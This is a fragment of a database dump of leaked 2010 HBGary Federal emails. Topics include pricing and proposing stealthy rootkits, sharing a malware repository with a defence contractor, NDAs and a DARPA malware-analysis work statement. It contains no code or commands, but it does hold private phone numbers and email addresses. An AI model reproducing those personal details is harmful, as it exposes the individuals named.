information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender and delete the material from any computer.  PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',2703,'aaron_hbgary_com/2703.html'),(3508,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001742.M467627P3547Q3508.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ok lets start with this for discussion as a framework','Charge for the RK?  Well, I got $60k for one that wasn\'t as stealthy.  I\'d\r\nwant at least $120k, likely more.  It\'s a function of perceived value and\r\nhow much money they have.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 10:33 AM\r\nTo: Bob Slapnik\r\nSubject: Re: ok lets start with this for discussion as a framework\r\n\r\nAny idea what we would charge?\r\n\r\nAaron\r\n\r\nOn Mar 4, 2010, at 10:26 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> FYI, the graphics in the doc are all scrambled.  You might want to save\r\nthem\r\n> as bit map files and insert those instead.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, March 04, 2010 9:13 AM\r\n> To: Ted Vera\r\n> Cc: Bob Slapnik\r\n> Subject: ok lets start with this for discussion as a framework\r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n',8817,'aaron_hbgary_com/8817.html'),(3509,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001742.M658493P3547Q3509.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','ok update.Forget the encrypted file. &nbsp;it is for a very good rootkit that GD funded which we have IP rights to, but GD has it also, they paid for it. &nbsp;The NexGen rootkit is still only in Gregs head and haven\'t been able to get it out, albeit it has been sporadic on my part. &nbsp;I will have better luck after RSA is over, but not good enough for your proposal.The memory module one, looking for the paper that was written...not having any luck. &nbsp;I thought Bob was the one that told me we had that written up but now he says it wasn\'t him...ugh.On the trait/malware database. &nbsp;Ted is working with Shawn to get a bunch of it dropped to a disk that we can mail you to get you started and then we can work on getting more. &nbsp;The current database is immeshed with the actual feed portal which includes all the tickets, etc.AaronOn Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:Need the repository with the detected traits for each item included.&nbsp; Need to know what the traits are but not how they are detected nor how the overall scoring is calculated.&nbsp; Just need to know what traits contributed to the score and what the traits are.&nbsp;Agree with you on that.&nbsp; However, I am going to submit to AFRL after this one.&nbsp;Will call for the password in a bit.&nbsp; Getting ready for a Jadik mtg.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:41 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.&nbsp;Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?&nbsp;I am going to feel better when this proposal is over.&nbsp;On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7333,'aaron_hbgary_com/7333.html'),(3510,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001742.M844419P3547Q3510.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: ok lets start with this for discussion as a framework','that was not the RK I was talking about.  Greg has an idea for one that is really tricky.  He drew it up on the board with GD when we were there.\r\n\r\nSomeone told me there was a whitepaper on how to use DDNA/FDpro as a memory module for offensive use, but you have never heard of such a thing...\r\n\r\nAaron\r\nOn Mar 4, 2010, at 11:06 AM, Bob Slapnik wrote:\r\n\r\n> Charge for the RK?  Well, I got $60k for one that wasn\'t as stealthy.  I\'d\r\n> want at least $120k, likely more.  It\'s a function of perceived value and\r\n> how much money they have.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, March 04, 2010 10:33 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: ok lets start with this for discussion as a framework\r\n> \r\n> Any idea what we would charge?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 4, 2010, at 10:26 AM, Bob Slapnik wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> FYI, the graphics in the doc are all scrambled.  You might want to save\r\n> them\r\n>> as bit map files and insert those instead.\r\n>> \r\n>> Bob \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, March 04, 2010 9:13 AM\r\n>> To: Ted Vera\r\n>> Cc: Bob Slapnik\r\n>> Subject: ok lets start with this for discussion as a framework\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n>> 14:34:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/03/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16072,'aaron_hbgary_com/16072.html'),(3511,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001743.M246445P3547Q3512.eml','\"Barr Aaron\" <aaron@hbgary.com>','John Cox','I forgot one thing...  I have a telecon today at 2:30-3:30 your time\r\nto discuss rates and QB with John.\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7928,'aaron_hbgary_com/7928.html'),(3512,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001743.M30471P3547Q3511.eml','\"Shawn Bracken\" <shawn@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Northrop Grumman IRAD','Hi Shawn,\r\n\r\nWe are working on an IRAD with Northrop Grumman and have NDAs in\r\nplace.  Is it possible to get a db dump from the feed processor that\r\nhas the malware samples and their DDNA reports on DVD so they can\r\nstart working on the analysis using Palantir?\r\n\r\nTed\r\n',15822,'aaron_hbgary_com/15822.html'),(3513,'2010-03-04','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297001743.M442404P3547Q3513.eml','\"Aaron Barr\" <aaron@hbgary.com>','I\'m on','I\'m on the call.  I accidentally \"declined\" the meeting invite when I was opening it.\r\n\r\nTed\r\n',3124,'aaron_hbgary_com/3124.html'),(3514,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001743.M670675P3547Q3514.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','TA3 Teaming','Guys,\r\n\r\nI have not included SRI in the teaming structure for TA3 at this point because I am not sure what significant discriminators they bring above the existing team for TA3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8959,'aaron_hbgary_com/8959.html'),(3515,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001743.M906574P3547Q3515.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ok lets start with this for discussion as a framework','I don\'t have a write up on this new RK (if it wasn\'t 12 Monkeys).\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 11:15 AM\r\nTo: Bob Slapnik\r\nSubject: Re: ok lets start with this for discussion as a framework\r\n\r\nthat was not the RK I was talking about.  Greg has an idea for one that is\r\nreally tricky.  He drew it up on the board with GD when we were there.\r\n\r\nSomeone told me there was a whitepaper on how to use DDNA/FDpro as a memory\r\nmodule for offensive use, but you have never heard of such a thing...\r\n\r\nAaron\r\nOn Mar 4, 2010, at 11:06 AM, Bob Slapnik wrote:\r\n\r\n> Charge for the RK?  Well, I got $60k for one that wasn\'t as stealthy.  I\'d\r\n> want at least $120k, likely more.  It\'s a function of perceived value and\r\n> how much money they have.\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, March 04, 2010 10:33 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: ok lets start with this for discussion as a framework\r\n> \r\n> Any idea what we would charge?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 4, 2010, at 10:26 AM, Bob Slapnik wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> FYI, the graphics in the doc are all scrambled.  You might want to save\r\n> them\r\n>> as bit map files and insert those instead.\r\n>> \r\n>> Bob \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, March 04, 2010 9:13 AM\r\n>> To: Ted Vera\r\n>> Cc: Bob Slapnik\r\n>> Subject: ok lets start with this for discussion as a framework\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n>> 14:34:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/03/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n',10013,'aaron_hbgary_com/10013.html'),(3516,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001744.M231689P3547Q3516.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','RE: TA3 Teaming','Aaron,\r\n\r\nThat is fine.  Jason, do you think SRI would be useful to tech area #3?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 11:33 AM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.\r\nSubject: TA3 Teaming\r\n\r\nGuys,\r\n\r\nI have not included SRI in the teaming structure for TA3 at this point\r\nbecause I am not sure what significant discriminators they bring above\r\nthe existing team for TA3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10376,'aaron_hbgary_com/10376.html'),(3517,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001745.M411087P3547Q3517.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Need Stronger NDA','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kevin Roe \r\n> Date: March 3, 2010 7:34:33 PM EST\r\n> To: Penny Leavy-Hoglund \r\n> Cc: \'Arnold de Guzman\' , \'Bob Slapnik\' , \'Aaron Barr\' \r\n> Subject: Re: Need Stronger NDA\r\n> \r\n> Penny,\r\n> \r\n>   I have attached a revised version of the NDA for your consideration.  The edits are colored in Word edit tracking to make it easier to see what I modified.  If it is too strong, it can be reduced.\r\n> \r\n>                                          Kevin\r\n> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14646,'aaron_hbgary_com/14646.html'),(3518,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001746.M93849P3547Q3518.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Need Stronger NDA','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kevin Roe \r\n> Date: March 3, 2010 7:34:33 PM EST\r\n> To: Penny Leavy-Hoglund \r\n> Cc: \'Arnold de Guzman\' , \'Bob Slapnik\' , \'Aaron Barr\' \r\n> Subject: Re: Need Stronger NDA\r\n> \r\n> Penny,\r\n> \r\n>   I have attached a revised version of the NDA for your consideration.  The edits are colored in Word edit tracking to make it easier to see what I modified.  If it is too strong, it can be reduced.\r\n> \r\n>                                          Kevin\r\n> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4331,'aaron_hbgary_com/4331.html'),(3519,'2010-03-04','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297001750.M124260P3547Q3519.eml','matt@hbgary.com,matt@hbgary.com','HBSS Add On','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt,\r\n\r\nAfter our phone call this morning, I talked to some guys a lot\r\nsmarter than me and you have more options than the one I described.\r\n\r\n&nbsp;\r\n\r\nSince your product integrates with HBSS, there should be someone\r\nyou may have already been working with at DISA who can give you the &#8220;criteria&#8221;\r\nfor certification. If you want to pay for the testing and artifact generation\r\nto then present to their approval process, I&#8217;m sure they will be happy to\r\nlet you. They may ask for your product to be evaluated against the 8500.2\r\ncontrols or some other criteria. Being the GIG. They may want it tested for\r\ninteroperability through the JTIC. \r\n\r\nIf you are attempting to get your product Common Criteria\r\ncertified, the process is long (18 mos) and can run from 150-200K. http://www.commoncriteriaportal.org/\r\n\r\n\r\n&nbsp;\r\n\r\nThis is one of the common Criteria Test Centers\r\n\r\nhttp://www.niap-ccevs.org/\r\n\r\n\r\n&nbsp;\r\n\r\nDISA may actually want the product tested for interoperability\r\nby the JTIC\r\n\r\nhttp://jitc.fhu.disa.mil/\r\n\r\n\r\n&nbsp;\r\n\r\nPlease let us know if we can be of any further assistance. I\r\nhave attached the 8500.2 just for your reference &#8211; it is not\r\nall of the information you need should DIACAP be your required process.\r\n\r\n&nbsp;\r\n\r\nDave\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDavid\r\nP. Lirette \r\nSBIRS IA PM \r\n\r\nDavid.P.Lirette@TASC.COM\r\n1795 Jet Wing Drive, Suite 100 \r\nColorado Springs, CO 80916 \r\n719.622.5129 \r\nBB: 719.338-9984 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1624,'aaron_hbgary_com/1624.html'),(3520,'2010-03-04','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001750.M382237P3547Q3520.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: TA3 Teaming','It is up to Aaron, SRI has significant research creds and work in\r\nde-compilation.  Most interesting for what HBGary has in mind is the use\r\nof de-compilation as a test to see if code is obfuscated/encrypted.  It\r\nwould be interesting to see if that tech could be used in defeating\r\nblock obfuscators in memory (grabbing it when it is de-obfuscated).\r\nAnother idea is de-compiling code directly from memory, though we are\r\nreally late in the game to change anything (as demonstrated by my\r\nanxiety last night with UCBerkley :P  ).\r\n\r\nJason\r\n\r\n-----Original Message-----\r\nFrom: Starr, Christopher H. \r\nSent: Thursday, March 04, 2010 9:43 AM\r\nTo: Aaron Barr; Upchurch, Jason R.\r\nSubject: RE: TA3 Teaming\r\n\r\nAaron,\r\n\r\nThat is fine.  Jason, do you think SRI would be useful to tech area #3?\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 11:33 AM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.\r\nSubject: TA3 Teaming\r\n\r\nGuys,\r\n\r\nI have not included SRI in the teaming structure for TA3 at this point\r\nbecause I am not sure what significant discriminators they bring above\r\nthe existing team for TA3.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6634,'aaron_hbgary_com/6634.html'),(3521,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001750.M987373P3547Q3521.eml','\"Ted Vera\" <ted@hbgary.com>','slide','slide\r\n\r\n',11110,'aaron_hbgary_com/11110.html'),(3522,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001753.M602549P3547Q3522.eml','\"Aaron Barr\" <aaron@hbgary.com>','chart','attached\r\n',4312,'aaron_hbgary_com/4312.html'),(3523,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001758.M703012P3547Q3523.eml','\"Aaron Barr\" <aaron@hbgary.com>','updated','updated\r\n',13840,'aaron_hbgary_com/13840.html'),(3524,'2010-03-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001762.M420118P3547Q3524.eml','\"Aaron Barr\" <aaron@hbgary.com>','updated doc','updated\r\n',7999,'aaron_hbgary_com/7999.html'),(3525,'2010-03-04','\"Kevin Roe\" <kevin.roe@att.net>','/aaron@hbgary.com/new/1297001763.M116261P3547Q3525.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','A better and even Stronger NDA','Penny,\r\n\r\n   If not too late, I have attached a considerably better NDA for your \r\ncompany.  It will be more enforceable.\r\n\r\n                                     Kevin\r\n\r\n \r\n>\r\n\r\n',1937,'aaron_hbgary_com/1937.html'),(3526,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001764.M461365P3547Q3526.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: A better and even Stronger NDA','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kevin Roe \r\n> Date: March 4, 2010 1:42:01 PM EST\r\n> To: Penny Leavy-Hoglund \r\n> Cc: \'Arnold de Guzman\' , \'Bob Slapnik\' , \'Aaron Barr\' \r\n> Subject: A better and even Stronger NDA\r\n> \r\n> Penny,\r\n> \r\n>  If not too late, I have attached a considerably better NDA for your company.  It will be more enforceable.\r\n> \r\n>                                    Kevin\r\n> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1265,'aaron_hbgary_com/1265.html'),(3527,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001767.M880820P3547Q3527.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','IP meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Bob,\r\n\r\n&nbsp;\r\n\r\nOur powerhouse IP guru is on travel today but will be\r\navailable tomorrow.&nbsp; Can we have a quick meeting tomorrow to discuss your intellectual\r\nproperty concerns and mitigation strategies?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6841,'aaron_hbgary_com/6841.html'),(3528,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001768.M327506P3547Q3529.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: IP meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nTomorrow is good except for a\r\nmeeting I have 11-12.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp;\r\n|&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com] \r\nSent: Thursday, March 04, 2010 1:57 PM\r\nTo: Aaron Barr; Bob Slapnik\r\nSubject: IP meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Bob,\r\n\r\n&nbsp;\r\n\r\nOur powerhouse IP guru is on travel today but will be\r\navailable tomorrow.&nbsp; Can we have a quick meeting tomorrow to discuss your\r\nintellectual property concerns and mitigation strategies?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2721 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16194,'aaron_hbgary_com/16194.html'),(3529,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001768.M517914P3547Q3530.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UPDATE: HBGary SOW for Technical Area #1','Begin forwarded message:e sense for&nbsp;your SOW for&nbsp;Technical Area&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7577,'aaron_hbgary_com/7577.html'),(3530,'2010-03-04','\"Ted Vera\" <thv31@mac.com>','/aaron@hbgary.com/new/1297001768.M714776P3547Q3531.eml','\"Aaron Barr\" <aaron@hbgary.com>','Training','I put the cheat sheet, the lab guide, and a couple of vmems in the responder directory in the cloud.\r\n\r\nRecommend you do the first lab, which will walk you through step by step.\r\n\r\nTed\r\n',3470,'aaron_hbgary_com/3470.html'),(3531,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001768.M901870P3547Q3532.eml','\"Ted Vera\" <thv31@mac.com>','Re: Training','tks\r\n\r\ncan you change a few things on the graph for me.\r\n\r\nChange Trait and pattern to just trait library.  Change function/behavior models to Genomes.  Get rid of the cyber physiology genome.  Individual malware chromosomes will be stored back in the specimen database.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 4, 2010, at 2:40 PM, Ted Vera wrote:\r\n\r\n> I put the cheat sheet, the lab guide, and a couple of vmems in the responder directory in the cloud.\r\n> \r\n> Recommend you do the first lab, which will walk you through step by step.\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9780,'aaron_hbgary_com/9780.html'),(3532,'2010-03-04','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001768.M92995P3547Q3528.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','UPDATE: HBGary SOW for Technical Area #1','\r\n\r\n\r\n\r\n\r\nUPDATE: HBGary SOW for Technical Area #1\r\n\r\n\r\n\r\n\r\nAaron, Bob, does this make sense for your SOW for Technical Area #1 &#8211; feel free to modify to what you think is reasonable?\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Upchurch, Jason R. \r\n\r\nBelow is a first cut at what we envision HBGary providing.&nbsp; Modify as needed to with what you think will be reasonable.\r\n\r\n\r\nMeeting and management support. (plan on quarterly meetings, plus another meeting for end of year reviews with DARPA).\r\n\r\n\r\n\r\nProvide the research and development of memory and malware analysis techniques to achieve correlation between malware that share traits or source code.&nbsp; This includes developing and refining signatures of code sequences within software that are of value for correlation techniques.&nbsp; (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever&#8230;)\r\n\r\n\r\n\r\nProvide research and development of function extraction methods from disassembled code based on previous work with Automated Run-Time Disassembly techniques. (A primary responsibility, need you to get cost/time/pricing plus support requirements (egg 50 hours GDAIS process review, 50 hours GDAIS signature development, whatever&#8230;)\r\n\r\n\r\n\r\nProvide research support to GDAIS and other team members in correlation techniques for signatures based on, but not limited to, malware artifacts, function extraction, data flow maps, function maps, and abstract function generation.&nbsp; (A support responsibility to GDAIS, guessing 20% man year (400 hours per year))\r\n\r\n\r\n\r\nProvide research support to GDAIS and other team members in malware trigger discovery to determine runtime requirements to automate the execution of malware. (A support responsibility to UCBerkley as they will supply the triggers discovery method, you will integrate into into an automated execution structure, really a guessing game on time, what do you think)\r\n\r\nProvide sample or generated signatures for integration into the correlation database as needed for visualization and POC demonstration. (A support responsibility to GDAIS and AVI/SD, guessing 5% man year (100 hours per year))\r\n\r\n\r\n\r\nProvide research support to GDAIS and other team members in the creation of a unified signature dataset for use in malware correlation.&nbsp; (A support responsibility to GDAIS, guessing man year (400 hours per year))\r\n\r\n\r\n\r\nProvide research support to GDAIS and other team members on identification and classification of malware (LOE?)\r\n\r\n\r\n\r\nSome comments received to add to the above:\r\n\r\n&nbsp;&nbsp;\r\n\r\nWith their traits, HBGary has the capability to identify functions that belong to e.g.: rootkits, backdoors, etc. HBGary&nbsp;currently does this with the&nbsp;malware in the address space of the memory dumps; could they do the same thing if we provide them with the unpack version of the executable (using SRI\'s and UCB\'s techniques)?&nbsp; If so, should this be another line in the SOW?\r\n\r\n&nbsp;&nbsp;\r\n\r\n- Provide research and development for the generation of&nbsp;different categories to aid in the identification and classification of&nbsp;malware (e.g of categories: rooktit, keylogger, backdoor, etc)\r\n\r\n&nbsp;\r\n\r\n- Provide research and development for the identification and classification of risk factors&nbsp;in the malware (e.g.&nbsp; installation and deployment, communications, command &amp; control, information security, development, defense, etc)\r\n\r\n&nbsp;\r\n\r\nSupport multiple categorizations in:\r\n\r\n&nbsp;\r\n\r\n-&nbsp;Malware family (showing lineage trees, and similar functions to gain a better understanding of how attacker are re-using function and which ones, etc)\r\n\r\n- Malware category\r\n\r\n- Country of origin\r\n\r\n- Attacker/Author\r\n\r\n- Attacker group\r\n\r\n- Packer\r\n\r\n- Development Environment (compiler used?, etc)\r\n\r\n&nbsp;\r\n\r\nSo, when the malware is submitted to the&nbsp;prototype it 